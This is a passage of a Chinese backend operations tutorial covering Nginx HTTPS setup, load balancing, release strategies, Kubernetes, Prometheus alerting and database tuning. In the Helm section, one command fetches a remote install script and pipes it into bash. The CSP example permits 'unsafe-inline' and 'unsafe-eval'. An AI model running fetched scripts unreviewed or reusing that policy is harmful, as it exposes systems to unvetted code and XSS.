apt install certbot python3-certbot-nginx

# 2. 申请证书(自动配置 Nginx)
certbot --nginx -d www.example.com -d example.com

# 3. 自动续期(Let's Encrypt 证书 90 天过期)
crontab -e
# 添加:0 3 * * * certbot renew --quiet

# Nginx SSL 配置(certbot 自动生成)
server {
    listen 443 ssl;
    server_name www.example.com;

    ssl_certificate /etc/letsencrypt/live/www.example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/www.example.com/privkey.pem;

    # 强制 HTTPS
    add_header Strict-Transport-Security "max-age=31536000" always;

    location / {
        proxy_pass http://127.0.0.1:8000;
    }
}

# HTTP 强制跳转 HTTPS
server {
    listen 80;
    server_name www.example.com;
    return 301 https://$host$request_uri;
}

证书续期与故障排查

# 证书续期(Let's Encrypt 90 天过期)
# 自动续期(推荐)
crontab -e
# 添加:0 3 * * * certbot renew --quiet --deploy-hook "systemctl reload nginx"

# 手动续期
certbot renew --dry-run                         # 测试续期(不实际执行)
certbot renew                                   # 执行续期

# 证书状态检查
certbot certificates                            # 查看所有证书
openssl x509 -in /etc/letsencrypt/live/example.com/fullchain.pem -noout -dates

# 常见问题排查
# 1. 续期失败——DNS 解析问题
certbot renew --preferred-challenges dns

# 2. 多域名证书
certbot --nginx -d example.com -d www.example.com -d api.example.com

# 3. 通配符证书(需要 DNS 验证)
certbot certonly --manual --preferred-challenges dns -d "*.example.com"

# 4. 证书吊销
certbot revoke --cert-name example.com

HTTP/2 与性能优化

# Nginx 开启 HTTP/2(需要 SSL)
server {
    listen 443 ssl;
    http2 on;                                    # Nginx 1.25.1+ 新语法(旧写法 listen 443 ssl http2 已弃用)
    server_name www.example.com;

    # 注意:http2_push 在 Nginx 1.25.1 中已移除
    # 如需预加载关键资源,请使用 Link header: add_header Link "; rel=preload"
    location / {
        proxy_pass http://app_server;
    }

    # OCSP Stapling(加速 SSL 握手)
    ssl_stapling on;
    ssl_stapling_verify on;
    ssl_trusted_certificate /etc/letsencrypt/live/example.com/chain.pem;
    resolver 8.8.8.8 8.8.4.4 valid=300s;
}

# 检查 HTTP/2 是否生效
curl -I https://www.example.com
# 输出应包含:HTTP/2 200

Mixed Content 处理

# Mixed Content:HTTPS 页面加载了 HTTP 资源
# 浏览器会阻止或警告

# 1. 检查 Mixed Content
# Chrome DevTools → Console → 看是否有 "Mixed Content" 警告

# 2. Nginx 强制 HTTPS 重定向所有资源
location /static/ {
    # 确保静态资源也通过 HTTPS
    add_header Content-Security-Policy "upgrade-insecure-requests";
}

# 3. CSP 头(强制 HTTPS)
add_header Content-Security-Policy "default-src https: 'unsafe-inline' 'unsafe-eval'" always;

# 4. 后端生成 URL 时强制 HTTPS
# FastAPI
from starlette.middleware.httpsredirect import HTTPSRedirectMiddleware
app.add_middleware(HTTPSRedirectMiddleware)
安全 Headers 完整配置

在 Nginx 中添加安全响应头:① X-Content-Type-Options: nosniff(防 MIME 嗅探)。② X-Frame-Options: DENY(防点击劫持)。③ Strict-Transport-Security(强制 HTTPS)。④ Content-Security-Policy(防 XSS)。⑤ Referrer-Policy(控制 Referer)。⑥ Permissions-Policy(控制浏览器功能)。

HTTPS 性能优化

① 开启 OCSP Stapling(减少 SSL 握手时间)。② 开启 HTTP/2(多路复用)。③ 开启 TLS 1.3(比 1.2 更快)。④ 使用 ECDHE 密钥交换(比 RSA 更快)。⑤ SSL Session Cache(复用 SSL 会话)。

62. 负载均衡与高可用

一台服务器扛不住时,用多台服务器分担负载。一台挂了,其他台继续服务。

# Nginx 负载均衡配置
upstream backend {
    least_conn;                              # 最少连接算法
    server 10.0.0.1:8000 weight=3;          # 权重 3(分到更多请求)
    server 10.0.0.2:8000 weight=2;
    server 10.0.0.3:8000 backup;            # 备用服务器
}

server {
    location / {
        proxy_pass http://backend;
    }
}
1
轮询(Round Robin)——默认,按顺序轮流分配。简单但不考虑服务器负载。
2
最少连接(Least Connections)——优先分配给当前连接最少的服务器。推荐。
3
IP Hash——同一 IP 的请求始终分到同一台服务器。用于需要会话保持的场景。

会话保持(Sticky Sessions)

# 会话保持——同一用户的请求始终发到同一台服务器
# 场景:用户登录状态存在某台服务器的内存中

# Nginx 开源版:IP Hash
upstream backend {
    ip_hash;                                     # 同一 IP 的请求发到同一台
    server 10.0.0.1:8000;
    server 10.0.0.2:8000;
    server 10.0.0.3:8000;
}

# Nginx Plus(商业版):Cookie 保持
upstream backend {
    sticky cookie srv_id expires=1h;
    server 10.0.0.1:8000;
    server 10.0.0.2:8000;
}

# 最佳方案:不用会话保持,把 Session 存到 Redis
# 所有服务器共享 Session,任何一台都能处理任何请求
# Flask: flask-session + Redis
# Django: django-redis + SessionBackend

健康检查

# Nginx 开源版——被动健康检查
upstream backend {
    server 10.0.0.1:8000 max_fails=3 fail_timeout=30s;
    server 10.0.0.2:8000 max_fails=3 fail_timeout=30s;
    server 10.0.0.3:8000 backup;                # 备用服务器
}
# max_fails=3:连续 3 次失败后标记为不可用
# fail_timeout=30s:30 秒后重新尝试

# 应用健康检查接口
@app.get("/health")
async def health():
    try:
        # 检查数据库连接
        db.execute("SELECT 1")
        # 检查 Redis 连接
        redis.ping()
        return {"status": "healthy", "db": "ok", "redis": "ok"}
    except Exception as e:
        return JSONResponse(
            status_code=503,
            content={"status": "unhealthy", "error": str(e)}
        )

# 主动健康检查脚本
#!/bin/bash
for server in 10.0.0.1 10.0.0.2 10.0.0.3; do
    status=$(curl -s -o /dev/null -w "%{http_code}" http://$server:8000/health)
    if [ "$status" != "200" ]; then
        echo "⚠️ $server 健康检查失败 ($status)"
        # 发送告警
    fi
done

故障转移(Failover)

# Nginx 故障转移配置
upstream backend {
    server 10.0.0.1:8000;                       # 主服务器
    server 10.0.0.2:8000;                       # 备用服务器
    server 10.0.0.3:8000 backup;                # 冷备份(只在前两台都挂时使用)
}

# 多机房故障转移
upstream backend_primary {
    server 10.0.0.1:8000;
    server 10.0.0.2:8000;
}

upstream backend_secondary {
    server 10.1.0.1:8000;                       # 异地机房
}

server {
    location / {
        proxy_pass http://backend_primary;
        proxy_next_upstream error timeout http_502 http_503;
        proxy_next_upstream_tries 2;             # 最多重试 2 次
        proxy_next_upstream_timeout 10s;         # 重试超时 10 秒
    }
}

# Docker Compose 高可用
# 注:Docker Compose v2 已不再需要 version 字段,省略即可
services:
  nginx:
    image: nginx
    ports: ["80:80"]
    depends_on: [app1, app2]

  app1:
    build: .
    environment:
      - INSTANCE_ID=1

  app2:
    build: .
    environment:
      - INSTANCE_ID=2

  redis:
    image: redis:7-alpine                       # 共享 Session

  db:
    image: postgres:15                           # 共享数据库
高可用架构

① 多台应用服务器(至少 2 台)。② 负载均衡器(Nginx/HAProxy)。③ 共享 Session(Redis)。④ 数据库主从(读写分离)。⑤ Redis 哨兵/集群(防止单点故障)。⑥ 监控告警(任何一台挂了立即通知)。

负载均衡选型

① Nginx:最常用,HTTP/HTTPS 负载均衡。② HAProxy:TCP/HTTP 负载均衡,性能更强。③ 云厂商 SLB:阿里云 SLB、AWS ALB,免运维。④ Kubernetes Service:容器化场景自动负载均衡。

63. 发布策略

发布新版本是后端开发中最危险的操作之一——一个 Bug 可能让整个网站瘫痪。好的发布策略能把风险降到最低。

一个类比

发布新版本就像给飞行中的飞机换引擎。你不能让飞机停飞(停机维护),也不能让乘客感觉到颠簸(无感知升级)。不同的发布策略就是不同的"换引擎"方式。

蓝绿部署(Blue-Green Deployment)

维护两套完全相同的生产环境:蓝色(当前版本)和绿色(新版本)。

1
部署新版本到绿色环境——蓝色环境继续服务用户,不受影响。
2
在绿色环境上测试——运行自动化测试、手动验证功能。
3
切换流量——Nginx/负载均衡器把所有流量从蓝色切到绿色。
4
回滚——如果绿色有问题,切回蓝色即可(秒级回滚)。
# Nginx 蓝绿切换
upstream blue {
    server 10.0.0.1:8000;
}
upstream green {
    server 10.0.0.2:8000;
}
server {
    location / {
        proxy_pass http://green;    # 切换这一行:blue → green
    }
}

金丝雀发布(Canary Release)

先让一小部分用户试用新版本,观察无异常后逐步扩大。

1
部署新版本到 1-2 台服务器——其余服务器继续运行旧版本。
2
导入 5% 流量到新版本——通过 Nginx weight 控制流量比例。
3
监控关键指标——错误率、延迟、CPU、内存。持续 30 分钟到数小时。
4
逐步扩大——5% → 20% → 50% → 100%。任何一步出问题就回滚。
# Nginx 金丝雀配置
upstream backend {
    server 10.0.0.1:8000 weight=9;    # 旧版本:90% 流量
    server 10.0.0.2:8000 weight=1;    # 新版本:10% 流量
}

滚动更新(Rolling Update)

逐台替换服务器上的旧版本——每次只更新一台,直到所有服务器都运行新版本。Kubernetes 默认策略。

# Kubernetes 滚动更新配置
spec:
  replicas: 4
  strategy:
    type: RollingUpdate
    rollingUpdate:
      maxSurge: 1              # 最多多出 1 个 Pod
      maxUnavailable: 0        # 不允许任何 Pod 不可用

Feature Flag(功能开关)

新代码部署到生产环境,但功能默认关闭。通过配置开关控制是否启用。

# Feature Flag 实现
import os

class FeatureFlags:
    NEW_CHECKOUT = os.environ.get('FF_NEW_CHECKOUT', 'false') == 'true'
    AI_RECOMMEND = os.environ.get('FF_AI_RECOMMEND', 'false') == 'true'

@app.get("/products/{id}")
def get_product(id: int):
    product = get_product_from_db(id)
    if FeatureFlags.AI_RECOMMEND:
        product['recommendations'] = get_ai_recommendations(id)
    return product

# 开启功能:设置环境变量 FF_AI_RECOMMEND=true,无需重新部署
Feature Flag 的好处

① 代码部署和功能发布解耦——代码先上线,功能择机开启。② 可以按用户群体灰度(VIP 用户先体验)。③ 出问题秒级关闭功能(改配置,不用回滚代码)。④ A/B 测试(50% 用户用新功能,50% 用旧功能,对比数据)。

回滚策略

回滚类型方法耗时
代码回滚Docker 镜像回退到上一个 tag秒级
配置回滚配置中心恢复上一版本秒级
数据库回滚alembic downgrade分钟级
数据回滚从备份恢复(最后手段)小时级
发布前检查清单

① 测试环境验证通过。② 数据库迁移脚本有 downgrade 方法。③ 回滚方案已验证。④ 监控告警已配置。⑤ 发布时间选在低峰期(如凌晨)。⑥ 至少两个人在场(一人操作,一人观察)。

64. Kubernetes 入门

Kubernetes(K8s)是容器编排平台——自动管理 Docker 容器的部署、扩缩容、负载均衡、故障恢复。

1
Pod——最小部署单元,包含一个或多个容器。一个 Pod 运行你的一个应用实例。
2
Deployment——管理 Pod 的副本数。声明"我要 3 个 Pod",K8s 自动维护。
3
Service——为 Pod 提供稳定的网络入口。Pod 的 IP 会变,Service 的 IP 不变。
4
Ingress——HTTP 路由规则。把 /api 路由到后端服务,/ 路由到前端。
# deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: myapp
spec:
  replicas: 3                               # 3 个副本
  selector:
    matchLabels:
      app: myapp
  template:
    metadata:
      labels:
        app: myapp
    spec:
      containers:
      - name: myapp
        image: myregistry/myapp:v1.2.3  # 永远用版本标签,不要用 latest(无法追溯、无法回滚)
        ports:
        - containerPort: 8000
        env:
        - name: DATABASE_URL
          valueFrom:
            secretKeyRef:
              name: myapp-secrets
              key: database-url

---
apiVersion: v1
kind: Service
metadata:
  name: myapp-service
spec:
  selector:
    app: myapp
  ports:
  - port: 80
    targetPort: 8000

# 常用 kubectl 命令
# kubectl apply -f deployment.yaml    — 部署
# kubectl get pods                    — 查看 Pod
# kubectl logs pod-name               — 查看日志
# kubectl scale deployment myapp --replicas=5  — 扩容
# kubectl rollout undo deployment myapp        — 回滚

ConfigMap 与 Secret

# ConfigMap —— 存储非敏感配置
apiVersion: v1
kind: ConfigMap
metadata:
  name: myapp-config
data:
  DATABASE_URL: "postgresql://user:pass@db:5432/mydb"
  REDIS_URL: "redis://redis:6379/0"
  LOG_LEVEL: "info"

# Secret —— 存储敏感信息(base64 编码)
apiVersion: v1
kind: Secret
metadata:
  name: myapp-secrets
type: Opaque
data:
  SECRET_KEY: c2VjcmV0a2V5MTIz                    # base64 编码
  DB_PASSWORD: cGFzc3dvcmQxMjM=

# 在 Deployment 中引用
spec:
  containers:
  - name: myapp
    envFrom:
    - configMapRef:
        name: myapp-config
    - secretRef:
        name: myapp-secrets

# 命令行创建 Secret
kubectl create secret generic myapp-secrets \
  --from-literal=SECRET_KEY=mysecretkey \
  --from-literal=DB_PASSWORD=mypassword

K8s 架构原理

# Master 节点(控制平面)
# ┌─────────────────────────────────────────────────────────┐
# │  API Server ─── etcd(存储集群状态)                      │
# │      │                                                   │
# │  Scheduler ─── 决定 Pod 调度到哪个 Node                   │
# │      │                                                   │
# │  Controller Manager ─── 维护期望状态(如副本数)            │
# └─────────────────────────────────────────────────────────┘

# Worker 节点(数据平面)
# ┌─────────────────────────────────────────────────────────┐
# │  kubelet ─── 管理本机 Pod 生命周期                        │
# │      │                                                   │
# │  kube-proxy ─── 实现 Service 网络转发                     │
# │      │                                                   │
# │  Container Runtime ─── 运行容器(Docker/containerd)       │
# └─────────────────────────────────────────────────────────┘

# Pod 生命周期
# Pending → Running → Succeeded/Failed
#   ↓
# Pending:等待调度(资源不足、镜像拉取中)
# Running:至少一个容器在运行
# Succeeded:所有容器正常退出(Job)
# Failed:容器异常退出

# Namespace(多环境隔离)
kubectl create namespace dev
kubectl create namespace staging
kubectl create namespace production
kubectl get pods -n production  # 查看生产环境 Pod

Resource Requests & Limits(资源限制)

# 必须设置资源限制,否则一个 Pod 可能抢占所有资源
spec:
  containers:
  - name: myapp
    image: myapp:v1.2.3
    resources:
      requests:        # 调度依据:最少需要多少资源
        cpu: "250m"    # 0.25 核 CPU
        memory: "256Mi" # 256MB 内存
      limits:          # 硬上限:最多能用多少资源
        cpu: "500m"    # 超过会被限流(throttle)
        memory: "512Mi" # 超过会被 OOM Kill

# 最佳实践
# - requests = 应用正常运行所需资源
# - limits = requests 的 1.5-2 倍(留缓冲)
# - CPU limits 会导致限流,内存 limits 会导致 OOM Kill
# - 生产环境不要省略 requests/limits

Liveness / Readiness / Startup Probe

# 三种探针,解决不同问题
spec:
  containers:
  - name: myapp
    livenessProbe:     # 存活探针:容器是否还活着?
      httpGet:         # 不健康会被重启
        path: /health
        port: 8000
      initialDelaySeconds: 30
      periodSeconds: 10
      failureThreshold: 3

    readinessProbe:    # 就绪探针:容器能接收流量吗?
      httpGet:         # 不就绪会被从 Service 摘除
        path: /ready
        port: 8000
      initialDelaySeconds: 5
      periodSeconds: 5

    startupProbe:      # 启动探针:容器启动完成了吗?
      httpGet:         # 启动期间暂停 liveness/readiness
        path: /health
        port: 8000
      failureThreshold: 30  # 给足启动时间(30*10=300秒)
      periodSeconds: 10

# FastAPI 中实现探针端点
@app.get("/health")
async def health():
    return {"status": "ok"}

@app.get("/ready")
async def ready():
    # 检查数据库连接、Redis 连接等
    try:
        db.execute("SELECT 1")
        return {"status": "ready"}
    except Exception:
        raise HTTPException(503, "Not Ready")

Helm 包管理器

# Helm = K8s 的包管理器(类似 pip/apt)

# 安装 Helm
curl https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 | bash

# 添加仓库
helm repo add bitnami https://charts.bitnami.com/bitnami
helm repo update

# 安装应用(如 Redis)
helm install my-redis bitnami/redis \
  --set auth.password=mypassword \
  --set master.persistence.size=10Gi

# 查看已安装
helm list

# 升级
helm upgrade my-redis bitnami/redis --set auth.password=newpassword

# 回滚
helm rollback my-redis 1

# 创建自己的 Chart
helm create myapp-chart
# 目录结构:
# myapp-chart/
# ├── Chart.yaml          # 元数据
# ├── values.yaml         # 默认配置
# ├── templates/          # 模板文件
# │   ├── deployment.yaml
# │   ├── service.yaml
# │   └── ingress.yaml
# └── charts/             # 依赖

自动扩缩容(HPA)

# Horizontal Pod Autoscaler —— 根据 CPU/内存自动扩缩容
apiVersion: autoscaling/v2
kind: HorizontalPodAutoscaler
metadata:
  name: myapp-hpa
spec:
  scaleTargetRef:
    apiVersion: apps/v1
    kind: Deployment
    name: myapp
  minReplicas: 2                                 # 最少 2 个副本
  maxReplicas: 10                                # 最多 10 个副本
  metrics:
  - type: Resource
    resource:
      name: cpu
      target:
        type: Utilization
        averageUtilization: 70                   # CPU 超过 70% 就扩容
  - type: Resource
    resource:
      name: memory
      target:
        type: Utilization
        averageUtilization: 80                   # 内存超过 80% 就扩容

# 需要安装 Metrics Server
kubectl apply -f https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml

# 查看 HPA 状态
kubectl get hpa

Ingress 配置

# Ingress —— HTTP 路由规则
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: myapp-ingress
  annotations:
    nginx.ingress.kubernetes.io/ssl-redirect: "true"
    cert-manager.io/cluster-issuer: "letsencrypt-prod"
spec:
  ingressClassName: nginx
  tls:
  - hosts:
    - www.example.com
    secretName: example-tls                      # 自动申请证书
  rules:
  - host: www.example.com
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: frontend-service
            port:
              number: 80
      - path: /api
        pathType: Prefix
        backend:
          service:
            name: backend-service
            port:
              number: 8000

# 安装 Ingress Controller
kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.10.0/deploy/static/provider/cloud/deploy.yaml

常用 kubectl 命令

# 基础操作
kubectl apply -f deployment.yaml               # 创建/更新资源
kubectl delete -f deployment.yaml              # 删除资源
kubectl get pods                                # 查看 Pod
kubectl get services                            # 查看 Service
kubectl get ingress                             # 查看 Ingress

# 调试
kubectl logs pod-name                           # 查看日志
kubectl logs pod-name -f                        # 实时日志
kubectl describe pod pod-name                   # 查看详情
kubectl exec -it pod-name -- /bin/bash          # 进入容器

# 扩缩容
kubectl scale deployment myapp --replicas=5     # 手动扩容
kubectl rollout status deployment myapp         # 查看部署状态
kubectl rollout undo deployment myapp           # 回滚
kubectl rollout history deployment myapp        # 查看历史版本

# 资源管理
kubectl create configmap myconfig --from-file=config.yaml
kubectl create secret generic mysecret --from-literal=key=value
kubectl get events --sort-by=.metadata.creationTimestamp  # 查看事件
什么时候用 K8s?

① 微服务架构(10+ 个服务)。② 需要自动扩缩容。③ 多台服务器的集群管理。④ 需要蓝绿/金丝雀部署。小型项目用 Docker Compose 就够了,不需要 K8s。K8s 的学习曲线很陡,不要为了用而用。

K8s 学习路径

① 先学 Docker(容器基础)。② 用 Minikube 在本地搭建 K8s 集群。③ 学习 Pod、Deployment、Service 核心概念。④ 学习 ConfigMap、Secret 配置管理。⑤ 学习 Ingress、HPA 高级特性。⑥ 生产环境用托管 K8s(阿里云 ACK、AWS EKS)。

65. 监控与告警

没有监控的系统就像没有仪表盘的汽车——你不知道速度、油量、温度。出了问题也不知道。

# Prometheus 指标采集
# pip install prometheus-client
from prometheus_client import Counter, Histogram, generate_latest

REQUEST_COUNT = Counter('http_requests_total', 'Total HTTP requests', ['method', 'endpoint', 'status'])
REQUEST_LATENCY = Histogram('http_request_duration_seconds', 'Request latency', ['endpoint'])

@app.middleware("http")
async def monitor(request: Request, call_next):
    start = time.time()
    response = await call_next(request)
    elapsed = time.time() - start

    REQUEST_COUNT.labels(request.method, request.url.path, response.status_code).inc()
    REQUEST_LATENCY.labels(request.url.path).observe(elapsed)

    return response

@app.get("/metrics")
def metrics():
    return Response(generate_latest(), media_type="text/plain")
1
Prometheus——定时拉取 /metrics 端点,存储时序数据。
2
Grafana——连接 Prometheus,创建可视化看板(QPS、延迟、错误率)。
3
AlertManager——配置告警规则(如"错误率 > 5% 持续 5 分钟"),发送钉钉/邮件通知。

Grafana 看板配置

# Grafana 连接 Prometheus
# 1. 添加数据源:Configuration → Data Sources → Prometheus
# 2. URL: http://prometheus:9090
# 3. 导入看板模板(Dashboard ID)
#    - Node Exporter: 1860    (服务器监控)
#    - FastAPI: 15732          (FastAPI 应用监控)
#    - PostgreSQL: 9628        (数据库监控)
#    - Redis: 763              (Redis 监控)

# 常用 PromQL 查询
# QPS
rate(http_requests_total[5m])

# 错误率
rate(http_requests_total{status=~"5.."}[5m]) / rate(http_requests_total[5m])

# P99 延迟
histogram_quantile(0.99, rate(http_request_duration_seconds_bucket[5m]))

# 每个接口的 QPS
sum by (endpoint) (rate(http_requests_total[5m]))

# 数据库连接池使用率
db_connection_pool_active / db_connection_pool_max

AlertManager 告警规则

# prometheus/alert_rules.yml
groups:
- name: app_alerts
  rules:
  # 错误率告警
  - alert: HighErrorRate
    expr: rate(http_requests_total{status=~"5.."}[5m]) / rate(http_requests_total[5m]) > 0.05
    for: 5m                                     # 持续 5 分钟
    labels:
      severity: critical
    annotations:
      summary: "错误率超过 5%"
      description: "当前错误率 {{ $value | humanizePercentage }}"

  # 延迟告警
  - alert: HighLatency
    expr: histogram_quantile(0.99, rate(http_request_duration_seconds_bucket[5m])) > 1
    for: 5m
    labels:
      severity: warning
    annotations:
      summary: "P99 延迟超过 1 秒"

  # 服务宕机告警
  - alert: ServiceDown
    expr: up{job="myapp"} == 0
    for: 1m
    labels:
      severity: critical
    annotations:
      summary: "服务 {{ $labels.instance }} 宕机"

# AlertManager 路由配置
route:
  receiver: 'dingtalk'
  group_by: ['alertname']
  group_wait: 30s
  group_interval: 5m
  repeat_interval: 4h

receivers:
- name: 'dingtalk'
  webhook_configs:
  - url: 'http://dingtalk-webhook-proxy:8060/dingtalk/robot/send'
    send_resolved: true

自定义业务指标

# 除了 HTTP 指标,还要监控业务指标
from prometheus_client import Gauge, Counter

# 业务指标
ACTIVE_USERS = Gauge('active_users_total', '当前在线用户数')
ORDERS_TODAY = Counter('orders_today_total', '今日订单数')
REVENUE_TODAY = Gauge('revenue_today', '今日营收')
QUEUE_LENGTH = Gauge('task_queue_length', '任务队列长度')

# 在代码中更新指标(推荐用 lifespan 上下文管理器替代,见 ch23)
@app.on_event("startup")  # 注意:FastAPI 已弃用,建议改用 lifespan
async def update_metrics():
    """定时更新业务指标"""
    async def _update():
        while True:
            ACTIVE_USERS.set(get_active_user_count())
            ORDERS_TODAY._value.set(get_today_order_count())
            REVENUE_TODAY.set(get_today_revenue())
            QUEUE_LENGTH.set(get_queue_length())
            await asyncio.sleep(30)              # 每 30 秒更新
    asyncio.create_task(_update())

# Grafana 看板添加这些指标
# - 实时在线用户数
# - 今日订单趋势
# - 今日营收趋势
# - 任务队列积压情况
四个黄金指标

① 延迟(Latency)——请求响应时间。② 流量(Traffic)——QPS。③ 错误率(Errors)——5xx 比例。④ 饱和度(Saturation)——CPU/内存/连接池使用率。监控好这四个指标,90% 的问题都能发现。再加业务指标(订单量、营收、在线用户数)就是完整的监控体系。

告警最佳实践

① 告警要有分级(critical/warning/info)。② 告警要有收敛(不要重复告警)。③ 告警要有值班制度(谁负责处理)。④ 告警要有处理手册(Runbook)。⑤ 不要告警疲劳(太多告警等于没有告警)。⑥ 定期 review 告警规则。

66. 数据库运维

数据库是后端的心脏——它挂了,整个系统就瘫了。运维的核心:备份、监控、优化。

# MySQL 备份
mysqldump -u root -p mydb > backup_$(date +%Y%m%d).sql
# 恢复
mysql -u root -p mydb < backup_20240626.sql

# PostgreSQL 备份
pg_dump -U postgres mydb > backup.sql
# 恢复
psql -U postgres mydb < backup.sql

# 自动备份脚本(crontab)
0 2 * * * /usr/local/bin/backup_db.sh && aws s3 cp /backups/ s3://mybucket/db-backups/ --recursive

主从复制

1
主库(Master)——处理所有写操作(INSERT/UPDATE/DELETE)。
2
从库(Slave)——复制主库的数据,处理读操作(SELECT)。
3
读写分离——应用层把写请求发给主库,读请求发给从库。
备份策略

① 每天全量备份。② 保留最近 7 天的备份。③ 备份文件存储在异地(云存储)。④ 定期验证备份可恢复(很多人备份了但从没测试过恢复)。

读写分离配置

# SQLAlchemy 读写分离
from sqlalchemy import create_engine
from sqlalchemy.orm import Session

# 主库(写)
master_engine = create_engine('postgresql://user:pass@master:5432/mydb')
# 从库(读)
slave_engine = create_engine('postgresql://user:pass@slave:5432/mydb')

# 自动路由读写
class RoutingSession(Session):
    def get_bind(self, mapper=None, clause=None, **kwargs):
        if self._flushing:                       # 写操作
            return master_engine
        return slave_engine                      # 读操作

# Django 读写分离(settings.py)
DATABASES = {
    'default': {                                 # 主库
        'ENGINE': 'django.db.backends.postgresql',
        'HOST': 'master-db',
        'NAME': 'mydb',
    },
    'read_replica': {                            # 从库
        'ENGINE': 'django.db.backends.postgresql',
        'HOST': 'slave-db',
        'NAME': 'mydb',
    },
}

# Django 数据库路由
class ReadReplicaRouter:
    def db_for_read(self, model, **hints):
        return 'read_replica'
    def db_for_write(self, model, **hints):
        return 'default'
    def allow_relation(self, obj1, obj2, **hints):
        return True

性能调优

# MySQL 慢查询分析
# 开启慢查询日志
SET GLOBAL slow_query_log = ON;
SET GLOBAL long_query_time = 1;
SET GLOBAL log_queries_not_using_indexes = ON;

# 分析慢查询日志
pt-query-digest /var/log/mysql/slow.log

# MySQL 连接池配置
# my.cnf
[mysqld]
max_connections = 500                           # 最大连接数
wait_timeout = 600                              # 空闲连接超时
interactive_timeout = 600
innodb_buffer_pool_size = 4G                    # InnoDB 缓冲池(建议物理内存的 70%)
innodb_log_file_size = 1G                       # 日志文件大小
innodb_flush_log_at_trx_commit = 1             # 事务日志刷盘策略

# PostgreSQL 性能调优
# postgresql.conf
max_connections = 200
shared_buffers = 4GB                            # 共享缓冲区(物理内存的 25%)
effective_cache_size = 12GB                     # 有效缓存大小
work_mem = 64MB                                 # 排序/哈希操作内存
maintenance_work_mem = 512MB                    # 维护操作内存
wal_level = replica                             # WAL 级别(支持复制)

连接池管理

# PgBouncer —— PostgreSQL 连接池
# 安装:apt install pgbouncer
# /etc/pgbouncer/pgbouncer.ini
[databases]
mydb = host=127.0.0.1 port=5432 dbname=mydb

[pgbouncer]
listen_addr = 0.0.0.0
listen_port = 6432
auth_type = md5
auth_file = /etc/pgbouncer/userlist.txt
pool_mode = transaction                         # 事务级连接池
max_client_conn = 1000                          # 最大客户端连接
default_pool_size = 50                          # 每个数据库的连接池大小

# SQLAlchemy 使用连接池
from sqlalchemy import create_engine

engine = create_engine(
    'postgresql://user:pass@localhost:6432/mydb',  # 连接 PgBouncer
    pool_size=20,                                  # 连接池大小
    max_overflow=10,                               # 最大溢出连接
    pool_timeout=30,                               # 获取连接超时
    pool_recycle=3600,                             # 连接回收时间
    pool_pre_ping=True,                            # 使用前检查连接
)
数据库监控

监控指标:连接数、QPS、慢查询数量、磁盘使用率、主从延迟。用 Prometheus + mysqld_exporter / postgres_exporter 采集数据,Grafana 展示。告警阈值:连接数 > 80%、慢查询 > 10/min、磁盘 > 80%、主从延迟 > 10s。

备份验证

备份不等于可恢复!定期验证备份:① 每周在测试环境恢复一次备份。② 记录恢复耗时(RTO)。③ 验证数据完整性。④ 测试恢复流程文档化。

第九部分 · 进阶架构

67. 性能优化全链路

性能优化不是"加缓存"那么简单——它是一个从代码到架构的全链路工程。

代码层
算法优化、减少循环、避免重复计算——用合适的数据结构(dict 比 list 查找快 1000 倍)。
数据库层
加索引、优化查询、读写分离——90% 的性能问题出在数据库。
缓存层
Redis 缓存热点数据——避免重复查询数据库。
架构层
异步处理、微服务拆分、CDN——当单机优化到极限时,从架构层面解决。
# 性能分析工具
# cProfile — 函数级性能分析
python -m cProfile -s cumtime app.py

# py-spy — 生产环境采样(不需要重启)
pip install py-spy
py-spy top --pid 12345

# line_profiler — 逐行分析
@profile
def slow_function():
    ...  # 找到哪一行最慢

代码层优化

# 1. 用合适的数据结构
# ❌ 慢:list 查找 O(n)
if user_id in user_list:                        # 遍历整个列表
    pass

# ✅ 快:dict/set 查找 O(1)
if user_id in user_dict:                        # 哈希查找
    pass

# 2. 减少循环内的数据库查询
# ❌ N+1 问题
for order in orders:
    user = db.session.get(User, order.user_id)    # 每次循环都查数据库

# ✅ 批量查询
user_ids = [o.user_id for o in orders]
users = db.query(User).filter(User.id.in_(user_ids)).all()
user_map = {u.id: u for u in users}

# 3. 使用生成器(节省内存)
# ❌ 一次性加载所有数据
all_users = db.query(User).all()                # 占用大量内存

# ✅ 分批处理
def get_users_batch(batch_size=1000):
    offset = 0
    while True:
        batch = db.query(User).offset(offset).limit(batch_size).all()
        if not batch:
            break
        yield batch
        offset += batch_size

# 4. 异步并发
import asyncio

async def fetch_all_data():
    users, orders, products = await asyncio.gather(
        get_users(),
        get_orders(),
        get_products(),
    )                                            # 三个请求并发执行

数据库层优化

# 1. 添加索引(最常见的优化)
CREATE INDEX idx_articles_status ON articles(status);
CREATE INDEX idx_articles_author_created ON articles(author_id, created_at);

# 2. 避免 SELECT *
# ❌ 查所有字段
SELECT * FROM articles WHERE status = 1;

# ✅ 只查需要的字段
SELECT id, title, created_at FROM articles WHERE status = 1;

# 3. 分页优化(深分页)
# ❌ 慢:OFFSET 越大越慢
SELECT * FROM articles ORDER BY id LIMIT 1000000, 20;

# ✅ 快:游标分页
SELECT * FROM articles WHERE id > 1000000 ORDER BY id LIMIT 20;

# 4. 读写分离
# 写请求 → 主库
# 读请求 → 从库
# SQLAlchemy: 配置多个 engine + 路由

# 5. 连接池调优
engine = create_engine(url, pool_size=20, max_overflow=10, pool_pre_ping=True)

缓存层优化

# 1. 热点数据缓存
def get_hot_articles():
    cache_key = "hot_articles"
    cached = redis.get(cache_key)
    if cached:
        return json.loads(cached)

    articles = db.query(Article).order_by(Article.views.desc()).limit(20).all()
    redis.setex(cache_key, 300, json.dumps([a.to_dict() for a in articles]))
    return articles

# 2. 多级缓存
# L1: 进程内缓存(LRU, 微秒级)
# L2: Redis 缓存(毫秒级)
# L3: 数据库(十毫秒级)

# 3. 缓存预热(推荐用 lifespan 上下文管理器替代,见 ch23)
@app.on_event("startup")  # 注意:FastAPI 已弃用,建议改用 lifespan
async def warm_up():
    # 预加载热门数据到缓存
    pass

架构层优化

# 1. 异步处理
# 耗时操作用 Celery 后台执行
@celery.task
def process_image(image_id):
    # 图片处理...
    pass

# 2. CDN 加速
# 静态资源放到 CDN,用户从最近的节点加载

# 3. 消息队列削峰
# 秒杀请求先入队列,消费者按速度处理

# 4. 数据库拆分
